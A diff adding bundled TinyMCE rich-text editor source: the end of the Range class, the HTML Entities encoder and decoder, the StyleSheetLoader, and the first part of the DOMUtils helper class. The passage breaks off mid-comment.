+				return how == CLONE ? dom.clone(n, TRUE) : n;
+			}
+
+			n.parentNode.removeChild(n);
+		}
+
+		function toStringIE() {
+			return dom.create('body', null, cloneContents()).outerText;
+		}
+
+		extend(self, {
+			// Inital states
+			startContainer: doc,
+			startOffset: 0,
+			endContainer: doc,
+			endOffset: 0,
+			collapsed: TRUE,
+			commonAncestorContainer: doc,
+
+			// Range constants
+			START_TO_START: 0,
+			START_TO_END: 1,
+			END_TO_END: 2,
+			END_TO_START: 3,
+
+			// Public methods
+			setStart: setStart,
+			setEnd: setEnd,
+			setStartBefore: setStartBefore,
+			setStartAfter: setStartAfter,
+			setEndBefore: setEndBefore,
+			setEndAfter: setEndAfter,
+			collapse: collapse,
+			selectNode: selectNode,
+			selectNodeContents: selectNodeContents,
+			compareBoundaryPoints: compareBoundaryPoints,
+			deleteContents: deleteContents,
+			extractContents: extractContents,
+			cloneContents: cloneContents,
+			insertNode: insertNode,
+			surroundContents: surroundContents,
+			cloneRange: cloneRange,
+			toStringIE: toStringIE
+		});
+
+		return self;
+	}
+
+	// Older IE versions doesn't let you override toString by it's constructor so we have to stick it in the prototype
+	Range.prototype.toString = function() {
+		return this.toStringIE();
+	};
+
+	return Range;
+});
+
+// Included from: js/tinymce/classes/html/Entities.js
+
+/**
+ * Entities.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*jshint bitwise:false */
+/*eslint no-bitwise:0 */
+
+/**
+ * Entity encoder class.
+ *
+ * @class tinymce.html.Entities
+ * @static
+ * @version 3.4
+ */
+define("tinymce/html/Entities", [
+	"tinymce/util/Tools"
+], function(Tools) {
+	var makeMap = Tools.makeMap;
+
+	var namedEntities, baseEntities, reverseEntities,
+		attrsCharsRegExp = /[&<>\"\u0060\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
+		textCharsRegExp = /[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
+		rawCharsRegExp = /[<>&\"\']/g,
+		entityRegExp = /&(#x|#)?([\w]+);/g,
+		asciiMap = {
+			128: "\u20AC", 130: "\u201A", 131: "\u0192", 132: "\u201E", 133: "\u2026", 134: "\u2020",
+			135: "\u2021", 136: "\u02C6", 137: "\u2030", 138: "\u0160", 139: "\u2039", 140: "\u0152",
+			142: "\u017D", 145: "\u2018", 146: "\u2019", 147: "\u201C", 148: "\u201D", 149: "\u2022",
+			150: "\u2013", 151: "\u2014", 152: "\u02DC", 153: "\u2122", 154: "\u0161", 155: "\u203A",
+			156: "\u0153", 158: "\u017E", 159: "\u0178"
+		};
+
+	// Raw entities
+	baseEntities = {
+		'\"': '&quot;', // Needs to be escaped since the YUI compressor would otherwise break the code
+		"'": '&#39;',
+		'<': '&lt;',
+		'>': '&gt;',
+		'&': '&amp;',
+		'\u0060': '&#96;'
+	};
+
+	// Reverse lookup table for raw entities
+	reverseEntities = {
+		'&lt;': '<',
+		'&gt;': '>',
+		'&amp;': '&',
+		'&quot;': '"',
+		'&apos;': "'"
+	};
+
+	// Decodes text by using the browser
+	function nativeDecode(text) {
+		var elm;
+
+		elm = document.createElement("div");
+		elm.innerHTML = text;
+
+		return elm.textContent || elm.innerText || text;
+	}
+
+	// Build a two way lookup table for the entities
+	function buildEntitiesLookup(items, radix) {
+		var i, chr, entity, lookup = {};
+
+		if (items) {
+			items = items.split(',');
+			radix = radix || 10;
+
+			// Build entities lookup table
+			for (i = 0; i < items.length; i += 2) {
+				chr = String.fromCharCode(parseInt(items[i], radix));
+
+				// Only add non base entities
+				if (!baseEntities[chr]) {
+					entity = '&' + items[i + 1] + ';';
+					lookup[chr] = entity;
+					lookup[entity] = chr;
+				}
+			}
+
+			return lookup;
+		}
+	}
+
+	// Unpack entities lookup where the numbers are in radix 32 to reduce the size
+	namedEntities = buildEntitiesLookup(
+		'50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,' +
+		'5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,' +
+		'5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,' +
+		'5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,' +
+		'68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,' +
+		'6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,' +
+		'6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,' +
+		'75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,' +
+		'7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,' +
+		'7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,' +
+		'sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,' +
+		'st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,' +
+		't9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,' +
+		'tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,' +
+		'u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,' +
+		'81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,' +
+		'8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,' +
+		'8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,' +
+		'8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,' +
+		'8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,' +
+		'nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,' +
+		'rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,' +
+		'Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,' +
+		'80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,' +
+		'811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro', 32);
+
+	var Entities = {
+		/**
+		 * Encodes the specified string using raw entities. This means only the required XML base entities will be endoded.
+		 *
+		 * @method encodeRaw
+		 * @param {String} text Text to encode.
+		 * @param {Boolean} attr Optional flag to specify if the text is attribute contents.
+		 * @return {String} Entity encoded text.
+		 */
+		encodeRaw: function(text, attr) {
+			return text.replace(attr ? attrsCharsRegExp : textCharsRegExp, function(chr) {
+				return baseEntities[chr] || chr;
+			});
+		},
+
+		/**
+		 * Encoded the specified text with both the attributes and text entities. This function will produce larger text contents
+		 * since it doesn't know if the context is within a attribute or text node. This was added for compatibility
+		 * and is exposed as the DOMUtils.encode function.
+		 *
+		 * @method encodeAllRaw
+		 * @param {String} text Text to encode.
+		 * @return {String} Entity encoded text.
+		 */
+		encodeAllRaw: function(text) {
+			return ('' + text).replace(rawCharsRegExp, function(chr) {
+				return baseEntities[chr] || chr;
+			});
+		},
+
+		/**
+		 * Encodes the specified string using numeric entities. The core entities will be
+		 * encoded as named ones but all non lower ascii characters will be encoded into numeric entities.
+		 *
+		 * @method encodeNumeric
+		 * @param {String} text Text to encode.
+		 * @param {Boolean} attr Optional flag to specify if the text is attribute contents.
+		 * @return {String} Entity encoded text.
+		 */
+		encodeNumeric: function(text, attr) {
+			return text.replace(attr ? attrsCharsRegExp : textCharsRegExp, function(chr) {
+				// Multi byte sequence convert it to a single entity
+				if (chr.length > 1) {
+					return '&#' + (((chr.charCodeAt(0) - 0xD800) * 0x400) + (chr.charCodeAt(1) - 0xDC00) + 0x10000) + ';';
+				}
+
+				return baseEntities[chr] || '&#' + chr.charCodeAt(0) + ';';
+			});
+		},
+
+		/**
+		 * Encodes the specified string using named entities. The core entities will be encoded
+		 * as named ones but all non lower ascii characters will be encoded into named entities.
+		 *
+		 * @method encodeNamed
+		 * @param {String} text Text to encode.
+		 * @param {Boolean} attr Optional flag to specify if the text is attribute contents.
+		 * @param {Object} entities Optional parameter with entities to use.
+		 * @return {String} Entity encoded text.
+		 */
+		encodeNamed: function(text, attr, entities) {
+			entities = entities || namedEntities;
+
+			return text.replace(attr ? attrsCharsRegExp : textCharsRegExp, function(chr) {
+				return baseEntities[chr] || entities[chr] || chr;
+			});
+		},
+
+		/**
+		 * Returns an encode function based on the name(s) and it's optional entities.
+		 *
+		 * @method getEncodeFunc
+		 * @param {String} name Comma separated list of encoders for example named,numeric.
+		 * @param {String} entities Optional parameter with entities to use instead of the built in set.
+		 * @return {function} Encode function to be used.
+		 */
+		getEncodeFunc: function(name, entities) {
+			entities = buildEntitiesLookup(entities) || namedEntities;
+
+			function encodeNamedAndNumeric(text, attr) {
+				return text.replace(attr ? attrsCharsRegExp : textCharsRegExp, function(chr) {
+					return baseEntities[chr] || entities[chr] || '&#' + chr.charCodeAt(0) + ';' || chr;
+				});
+			}
+
+			function encodeCustomNamed(text, attr) {
+				return Entities.encodeNamed(text, attr, entities);
+			}
+
+			// Replace + with , to be compatible with previous TinyMCE versions
+			name = makeMap(name.replace(/\+/g, ','));
+
+			// Named and numeric encoder
+			if (name.named && name.numeric) {
+				return encodeNamedAndNumeric;
+			}
+
+			// Named encoder
+			if (name.named) {
+				// Custom names
+				if (entities) {
+					return encodeCustomNamed;
+				}
+
+				return Entities.encodeNamed;
+			}
+
+			// Numeric
+			if (name.numeric) {
+				return Entities.encodeNumeric;
+			}
+
+			// Raw encoder
+			return Entities.encodeRaw;
+		},
+
+		/**
+		 * Decodes the specified string, this will replace entities with raw UTF characters.
+		 *
+		 * @method decode
+		 * @param {String} text Text to entity decode.
+		 * @return {String} Entity decoded string.
+		 */
+		decode: function(text) {
+			return text.replace(entityRegExp, function(all, numeric, value) {
+				if (numeric) {
+					value = parseInt(value, numeric.length === 2 ? 16 : 10);
+
+					// Support upper UTF
+					if (value > 0xFFFF) {
+						value -= 0x10000;
+
+						return String.fromCharCode(0xD800 + (value >> 10), 0xDC00 + (value & 0x3FF));
+					} else {
+						return asciiMap[value] || String.fromCharCode(value);
+					}
+				}
+
+				return reverseEntities[all] || namedEntities[all] || nativeDecode(all);
+			});
+		}
+	};
+
+	return Entities;
+});
+
+// Included from: js/tinymce/classes/dom/StyleSheetLoader.js
+
+/**
+ * StyleSheetLoader.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles loading of external stylesheets and fires events when these are loaded.
+ *
+ * @class tinymce.dom.StyleSheetLoader
+ * @private
+ */
+define("tinymce/dom/StyleSheetLoader", [
+	"tinymce/util/Tools"
+], function(Tools) {
+	"use strict";
+
+	return function(document, settings) {
+		var idCount = 0, loadedStates = {}, maxLoadTime;
+
+		settings = settings || {};
+		maxLoadTime = settings.maxLoadTime || 5000;
+
+		function appendToHead(node) {
+			document.getElementsByTagName('head')[0].appendChild(node);
+		}
+
+		/**
+		 * Loads the specified css style sheet file and call the loadedCallback once it's finished loading.
+		 *
+		 * @method load
+		 * @param {String} url Url to be loaded.
+		 * @param {Function} loadedCallback Callback to be executed when loaded.
+		 * @param {Function} errorCallback Callback to be executed when failed loading.
+		 */
+		function load(url, loadedCallback, errorCallback) {
+			var link, style, startTime, state;
+
+			function passed() {
+				var callbacks = state.passed, i = callbacks.length;
+
+				while (i--) {
+					callbacks[i]();
+				}
+
+				state.status = 2;
+				state.passed = [];
+				state.failed = [];
+			}
+
+			function failed() {
+				var callbacks = state.failed, i = callbacks.length;
+
+				while (i--) {
+					callbacks[i]();
+				}
+
+				state.status = 3;
+				state.passed = [];
+				state.failed = [];
+			}
+
+			// Sniffs for older WebKit versions that have the link.onload but a broken one
+			function isOldWebKit() {
+				var webKitChunks = navigator.userAgent.match(/WebKit\/(\d*)/);
+				return !!(webKitChunks && webKitChunks[1] < 536);
+			}
+
+			// Calls the waitCallback until the test returns true or the timeout occurs
+			function wait(testCallback, waitCallback) {
+				if (!testCallback()) {
+					// Wait for timeout
+					if ((new Date().getTime()) - startTime < maxLoadTime) {
+						window.setTimeout(waitCallback, 0);
+					} else {
+						failed();
+					}
+				}
+			}
+
+			// Workaround for WebKit that doesn't properly support the onload event for link elements
+			// Or WebKit that fires the onload event before the StyleSheet is added to the document
+			function waitForWebKitLinkLoaded() {
+				wait(function() {
+					var styleSheets = document.styleSheets, styleSheet, i = styleSheets.length, owner;
+
+					while (i--) {
+						styleSheet = styleSheets[i];
+						owner = styleSheet.ownerNode ? styleSheet.ownerNode : styleSheet.owningElement;
+						if (owner && owner.id === link.id) {
+							passed();
+							return true;
+						}
+					}
+				}, waitForWebKitLinkLoaded);
+			}
+
+			// Workaround for older Geckos that doesn't have any onload event for StyleSheets
+			function waitForGeckoLinkLoaded() {
+				wait(function() {
+					try {
+						// Accessing the cssRules will throw an exception until the CSS file is loaded
+						var cssRules = style.sheet.cssRules;
+						passed();
+						return !!cssRules;
+					} catch (ex) {
+						// Ignore
+					}
+				}, waitForGeckoLinkLoaded);
+			}
+
+			url = Tools._addCacheSuffix(url);
+
+			if (!loadedStates[url]) {
+				state = {
+					passed: [],
+					failed: []
+				};
+
+				loadedStates[url] = state;
+			} else {
+				state = loadedStates[url];
+			}
+
+			if (loadedCallback) {
+				state.passed.push(loadedCallback);
+			}
+
+			if (errorCallback) {
+				state.failed.push(errorCallback);
+			}
+
+			// Is loading wait for it to pass
+			if (state.status == 1) {
+				return;
+			}
+
+			// Has finished loading and was success
+			if (state.status == 2) {
+				passed();
+				return;
+			}
+
+			// Has finished loading and was a failure
+			if (state.status == 3) {
+				failed();
+				return;
+			}
+
+			// Start loading
+			state.status = 1;
+			link = document.createElement('link');
+			link.rel = 'stylesheet';
+			link.type = 'text/css';
+			link.id = 'u' + (idCount++);
+			link.async = false;
+			link.defer = false;
+			startTime = new Date().getTime();
+
+			// Feature detect onload on link element and sniff older webkits since it has an broken onload event
+			if ("onload" in link && !isOldWebKit()) {
+				link.onload = waitForWebKitLinkLoaded;
+				link.onerror = failed;
+			} else {
+				// Sniff for old Firefox that doesn't support the onload event on link elements
+				// TODO: Remove this in the future when everyone uses modern browsers
+				if (navigator.userAgent.indexOf("Firefox") > 0) {
+					style = document.createElement('style');
+					style.textContent = '@import "' + url + '"';
+					waitForGeckoLinkLoaded();
+					appendToHead(style);
+					return;
+				} else {
+					// Use the id owner on older webkits
+					waitForWebKitLinkLoaded();
+				}
+			}
+
+			appendToHead(link);
+			link.href = url;
+		}
+
+		this.load = load;
+	};
+});
+
+// Included from: js/tinymce/classes/dom/DOMUtils.js
+
+/**
+ * DOMUtils.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Utility class for various DOM manipulation and retrieval functions.
+ *
+ * @class tinymce.dom.DOMUtils
+ * @example
+ * // Add a class to an element by id in the page
+ * tinymce.DOM.addClass('someid', 'someclass');
+ *
+ * // Add a class to an element by id inside the editor
+ * tinymce.activeEditor.dom.addClass('someid', 'someclass');
+ */
+define("tinymce/dom/DOMUtils", [
+	"tinymce/dom/Sizzle",
+	"tinymce/dom/DomQuery",
+	"tinymce/html/Styles",
+	"tinymce/dom/EventUtils",
+	"tinymce/dom/TreeWalker",
+	"tinymce/dom/Range",
+	"tinymce/html/Entities",
+	"tinymce/Env",
+	"tinymce/util/Tools",
+	"tinymce/dom/StyleSheetLoader"
+], function(Sizzle, $, Styles, EventUtils, TreeWalker, Range, Entities, Env, Tools, StyleSheetLoader) {
+	// Shorten names
+	var each = Tools.each, is = Tools.is, grep = Tools.grep, trim = Tools.trim;
+	var isIE = Env.ie;
+	var simpleSelectorRe = /^([a-z0-9],?)+$/i;
+	var whiteSpaceRegExp = /^[ \t\r\n]*$/;
+
+	function setupAttrHooks(domUtils, settings) {
+		var attrHooks = {}, keepValues = settings.keep_values, keepUrlHook;
+
+		keepUrlHook = {
+			set: function($elm, value, name) {
+				if (settings.url_converter) {
+					value = settings.url_converter.call(settings.url_converter_scope || domUtils, value, name, $elm[0]);
+				}
+
+				$elm.attr('data-mce-' + name, value).attr(name, value);
+			},
+
+			get: function($elm, name) {
+				return $elm.attr('data-mce-' + name) || $elm.attr(name);
+			}
+		};
+
+		attrHooks = {
+			style: {
+				set: function($elm, value) {
+					if (value !== null && typeof value === 'object') {
+						$elm.css(value);
+						return;
+					}
+
+					if (keepValues) {
+						$elm.attr('data-mce-style', value);
+					}
+
+					$elm.attr('style', value);
+				},
+
+				get: function($elm) {
+					var value = $elm.attr('data-mce-style') || $elm.attr('style');
+
+					value = domUtils.serializeStyle(domUtils.parseStyle(value), $elm[0].nodeName);
+
+					return value;
+				}
+			}
+		};
+
+		if (keepValues) {
+			attrHooks.href = attrHooks.src = keepUrlHook;
+		}
+
+		return attrHooks;
+	}
+
+	/**
+	 * Constructs a new DOMUtils instance. Consult the Wiki for more details on settings etc for this class.
+	 *
+	 * @constructor
+	 * @method DOMUtils
+	 * @param {Document} d Document reference to bind the utility class to.
+	 * @param {settings} s Optional settings collection.
+	 */
+	function DOMUtils(doc, settings) {
+		var self = this, blockElementsMap;
+
+		self.doc = doc;
+		self.win = window;
+		self.files = {};
+		self.counter = 0;
+		self.stdMode = !isIE || doc.documentMode >= 8;
+		self.boxModel = !isIE || doc.compatMode == "CSS1Compat" || self.stdMode;
+		self.styleSheetLoader = new StyleSheetLoader(doc);
+		self.boundEvents = [];
+		self.settings = settings = settings || {};
+		self.schema = settings.schema;
+		self.styles = new Styles({
+			url_converter: settings.url_converter,
+			url_converter_scope: settings.url_converter_scope
+		}, settings.schema);
+
+		self.fixDoc(doc);
+		self.events = settings.ownEvents ? new EventUtils(settings.proxy) : EventUtils.Event;
+		self.attrHooks = setupAttrHooks(self, settings);
+		blockElementsMap = settings.schema ? settings.schema.getBlockElements() : {};
+		self.$ = $.overrideDefaults(function() {
+			return {
+				context: doc,
+				element: self.getRoot()
+			};
+		});
+
+		/**
+		 * Returns true/false if the specified element is a block element or not.
+		 *
+		 * @method isBlock
+		 * @param {Node/String} node Element/Node to check.
+		 * @return {Boolean} True/False state if the node is a block element or not.
+		 */
+		self.isBlock = function(node) {
+			// Fix for #5446
+			if (!node) {
+				return false;
+			}
+
+			// This function is called in module pattern style since it might be executed with the wrong this scope
+			var type = node.nodeType;
+
+			// If it's a node then check the type and use the nodeName
+			if (type) {
+				return !!(type === 1 && blockElementsMap[node.nodeName]);
+			}
+
+			return !!blockElementsMap[node];
+		};
+	}
+
+	DOMUtils.prototype = {
+		$$: function(elm) {
+			if (typeof elm == 'string') {
+				elm = this.get(elm);
+			}
+
+			return this.$(elm);
+		},
+
+		root: null,
+
+		fixDoc: function(doc) {
+			var settings = this.settings, name;
+
+			if (isIE && settings.schema) {
+				// Add missing HTML 4/5 elements to IE
+				('abbr article aside audio canvas ' +
+				'details figcaption figure footer ' +
+				'header hgroup mark menu meter nav ' +
+				'output progress section summary ' +
+				'time video').replace(/\w+/g, function(name) {
+					doc.createElement(name);
+				});
+
+				// Create all custom elements
+				for (name in settings.schema.getCustomElements()) {
+					doc.createElement(name);
+				}
+			}
+		},
+
+		clone: function(node, deep) {
+			var self = this, clone, doc;
+
+			// TODO: Add feature detection here in the future
+			if (!isIE || node.nodeType !== 1 || deep) {
+				return node.cloneNode(deep);
+			}
+
+			doc = self.doc;
+
+			// Make a HTML5 safe shallow copy
+			if (!deep) {
+				clone = doc.createElement(node.nodeName);
+
+				// Copy attribs
+				each(self.getAttribs(node), function(attr) {
+					self.setAttrib(clone, attr.nodeName, self.getAttrib(node, attr.nodeName));
+				});
+
+				return clone;
+			}
+
+			return clone.firstChild;
+		},
+
+		/**
+		 * Returns the root node of the document. This is normally the body but might be a DIV. Parents like getParent will not
+		 * go above the point of this root node.
+		 *
+		 * @method getRoot
+		 * @return {Element} Root element for the utility class.
+		 */
+		getRoot: function() {
+			var self = this;
+
+			return self.settings.root_element || self.doc.body;
+		},
+
+		/**
+		 * Returns the viewport of the window.
+		 *
+		 * @method getViewPort
+		 * @param {Window} win Optional window to get viewport of.
+		 * @return {Object} Viewport object with fields x, y, w and h.
+		 */
+		getViewPort: function(win) {
+			var doc, rootElm;
+
+			win = !win ? this.win : win;
+			doc = win.document;
+			rootElm = this.boxModel ? doc.documentElement : doc.body;
+
+			// Returns viewport size excluding scrollbars
+			return {
+				x: win.pageXOffset || rootElm.scrollLeft,
+				y: win.pageYOffset || rootElm.scrollTop,
+				w: win.innerWidth || rootElm.clientWidth,
+				h: win.innerHeight || rootElm.clientHeight
+			};
+		},
+
+		/**
+		 * Returns the rectangle for a specific element.
+		 *
+		 * @method getRect
+		 * @param {Element/String} elm Element object or element ID to get rectangle from.
+		 * @return {object} Rectangle for specified element object with x, y, w, h fields.
+		 */
+		getRect: function(elm) {
+			var self = this, pos, size;
+
+			elm = self.get(elm);
+			pos = self.getPos(elm);
+			size = self.getSize(elm);
+
+			return {
+				x: pos.x, y: pos.y,
+				w: size.w, h: size.h
+			};
+		},
+
+		/**
+		 * Returns the size dimensions of the specified element.
+		 *
+		 * @method getSize
+		 * @param {Element/String} elm Element object or element ID to get rectangle from.
+		 * @return {object} Rectangle for specified element object with w, h fields.
+		 */
+		getSize: function(elm) {
+			var self = this, w, h;
+
+			elm = self.get(elm);
+			w = self.getStyle(elm, 'width');
+			h = self.getStyle(elm, 'height');
+
+			// Non pixel value, then force offset/clientWidth
+			if (w.indexOf('px') === -1) {
+				w = 0;
+			}
+
+			// Non pixel value, then force offset/clientWidth
+			if (h.indexOf('px') === -1) {
+				h = 0;
+			}
+
+			return {
+				w: parseInt(w, 10) || elm.offsetWidth || elm.clientWidth,
+				h: parseInt(h, 10) || elm.offsetHeight || elm.clientHeight
+			};
+		},
+
+		/**
+		 * Returns a node by the specified selector function. This function will
+		 * loop through all parent nodes and call the specified function for each node.
+		 * If the function then returns true indicating that it has found what it was looking for, the loop execution will then end
+		 * and the node it found will be returned.
+		 *
+		 * @method getParent
+		 * @param {Node/String} node DOM node to search parents on or ID string.
+		 * @param {function} selector Selection function or CSS selector to execute on each node.
+		 * @param {Node} root Optional root element, never go below this point.
+		 * @return {Node} DOM Node or null if it wasn't found.
+		 */
+		getParent: function(node, selector, root) {
+			return this.getParents(node, selector, root, false);
+		},
+
+		/**
+		 * Returns a node list of all parents matching the specified selector function or pattern.
+		 * If the function then returns true indicating that it has found what it was looking for and that node will be collected.
+		 *
+		 * @method getParents
+		 * @param {Node/String} node DOM node to search parents on or ID string.
+		 * @param {function} selector Selection function to execute on each node or CSS pattern.
+		 * @param {Node} root Optional root element, never go below this point.
+		 * @return {Array} Array of nodes or null if it wasn't found.
+		 */
+		getParents: function(node, selector, root, collect) {
+			var self = this, selectorVal, result = [];
+
+			node = self.get(node);
+			collect = collect === undefined;
+
+			// Default root on inline mode
+			root = root || (self.getRoot().nodeName != 'BODY' ? self.getRoot().parentNode : null);
+
+			// Wrap node name as func
+			if (is(selector, 'string')) {
+				selectorVal = selector;
+
+				if (selector === '*') {
+					selector = function(node) {
+						return node.nodeType == 1;
+					};
+				} else {
+					selector = function(node) {
+						return self.is(node, selectorVal);
+					};
+				}
+			}
+
+			while (node) {
+				if (node == root || !node.nodeType || node.nodeType === 9) {
+					break;
+				}
+
+				if (!selector || selector(node)) {
+					if (collect) {
+						result.push(node);
+					} else {
+						return node;
+					}
+				}
+
+				node = node.parentNode;
+			}
+
+			return collect ? result : null;
+		},
+
+		/**
+		 * Returns the specified element by ID or the input element if it isn't a string.
+		 *
+		 * @method get
+		 * @param {String/Element} n Element id to look for or element to just pass though.
+		 * @return {Element} Element matching the specified id or null if it wasn't found.
+		 */
+		get: function(elm) {
+			var name;
+
+			if (elm && this.doc && typeof(elm) == 'string') {
+				name = elm;
+				elm = this.doc.getElementById(elm);
+
+				// IE and Opera returns meta elements when they match the specified input ID, but getElementsByName seems to do the trick
+				if (elm && elm.id !== name) {
+					return this.doc.getElementsByName(name)[1];
+				}
+			}
+
+			return elm;
+		},
+
+		/**
+		 * Returns the next node that matches selector or function
+		 *
+		 * @method getNext
+		 * @param {Node} node Node to find siblings from.
+		 * @param {String/function} selector Selector CSS expression or function.
+		 * @return {Node} Next node item matching the selector or null if it wasn't found.
+		 */
+		getNext: function(node, selector) {
+			return this._findSib(node, selector, 'nextSibling');
+		},
+
+		/**
+		 * Returns the previous node that matches selector or function
+		 *
+		 * @method getPrev
+		 * @param {Node} node Node to find siblings from.
+		 * @param {String/function} selector Selector CSS expression or function.
+		 * @return {Node} Previous node item matching the selector or null if it wasn't found.
+		 */
+		getPrev: function(node, selector) {
+			return this._findSib(node, selector, 'previousSibling');
+		},
+
+		// #ifndef jquery
+
+		/**
+		 * Selects specific elements by a CSS level 3 pattern. For example "div#a1 p.test".
+		 * This function is optimized for the most common patterns needed in TinyMCE but it also performs well enough
+		 * on more complex patterns.
+		 *
+		 * @method select
+		 * @param {String} selector CSS level 3 pattern to select/find elements by.
+		 * @param {Object} scope Optional root element/scope element to search in.
+		 * @return {Array} Array with all matched elements.
+		 * @example
+		 * // Adds a class to all paragraphs in the currently active editor
+		 * tinymce.activeEditor.dom.addClass(tinymce.activeEditor.dom.select('p'), 'someclass');
+		 *
+		 * // Adds a class to all spans that have the test class in the currently active editor
+		 * tinymce.activeEditor.dom.addClass(tinymce.activeEditor.dom.select('span.test'), 'someclass')
+		 */
+		select: function(selector, scope) {
+			var self = this;
+
+			/*eslint new-cap:0 */
+			return Sizzle(selector, self.get(scope) || self.settings.root_element || self.doc, []);
+		},
+
+		/**
+		 * Returns true/false if the specified element matches the specified css pattern.
+		 *
+		 * @method is
+		 * @param {Node/NodeList} elm DOM node to match or an array of nodes to match.
+		 * @param {String} selector CSS pattern to match the element against.
+		 */
+		is: function(elm, selector) {
+			var i;
+
+			// If it isn't an array then try to do some simple selectors instead of Sizzle for to boost performance
+			if (elm.length === undefined) {
+				// Simple all selector
+				if (selector === '*') {
+					return elm.nodeType == 1;
+				}
+
+				// Simple selector just elements
+				if (simpleSelectorRe.test(selector)) {
+					selector = selector.toLowerCase().split(/,/);
+					elm = elm.nodeName.toLowerCase();
+
+					for (i = selector.length - 1; i >= 0; i--) {
+						if (selector[i] == elm) {
+							return true;
+						}
+					}
+
+					return false;
+				}
+			}
+
+			// Is non element
+			if (elm.nodeType && elm.nodeType != 1) {
+				return false;
+			}
+
+			var elms = elm.nodeType ? [elm] : elm;
+
+			/*eslint new-cap:0 */
+			return Sizzle(selector, elms[0].ownerDocument || elms[0], null, elms).length > 0;
+		},
+
+		// #endif
+
+		/**
+		 * Adds the specified element to another element or elements.
+		 *
+		 * @method add
+		 * @param {String/Element/Array} parentElm Element id string, DOM node element or array of ids or elements to add to.
+		 * @param {String/Element} name Name of new element to add or existing element to add.
+		 * @param {Object} attrs Optional object collection with arguments to add to the new element(s).
+		 * @param {String} html Optional inner HTML contents to add for each element.
+		 * @return {Element/Array} Element that got created, or an array of created elements if multiple input elements
+		 * were passed in.
+		 * @example
+		 * // Adds a new paragraph to the end of the active editor
+		 * tinymce.activeEditor.dom.add(tinymce.activeEditor.getBody(), 'p', {title: 'my title'}, 'Some content');
+		 */
+		add: function(parentElm, name, attrs, html, create) {
+			var self = this;
+
+			return this.run(parentElm, function(parentElm) {
+				var newElm;
+
+				newElm = is(name, 'string') ? self.doc.createElement(name) : name;
+				self.setAttribs(newElm, attrs);
+
+				if (html) {
+					if (html.nodeType) {
+						newElm.appendChild(html);
+					} else {
+						self.setHTML(newElm, html);
+					}
+				}
+
+				return !create ? parentElm.appendChild(newElm) : newElm;
+			});
+		},
+
+		/**
+		 * Creates a new element.
+		 *
+		 * @method create
+		 * @param {String} name Name of new element.
+		 * @param {Object} attrs Optional object name/value collection with element attributes.
+		 * @param {String} html Optional HTML string to set as inner HTML of the element.
+		 * @return {Element} HTML DOM node element that got created.
+		 * @example
+		 * // Adds an element where the caret/selection is in the active editor
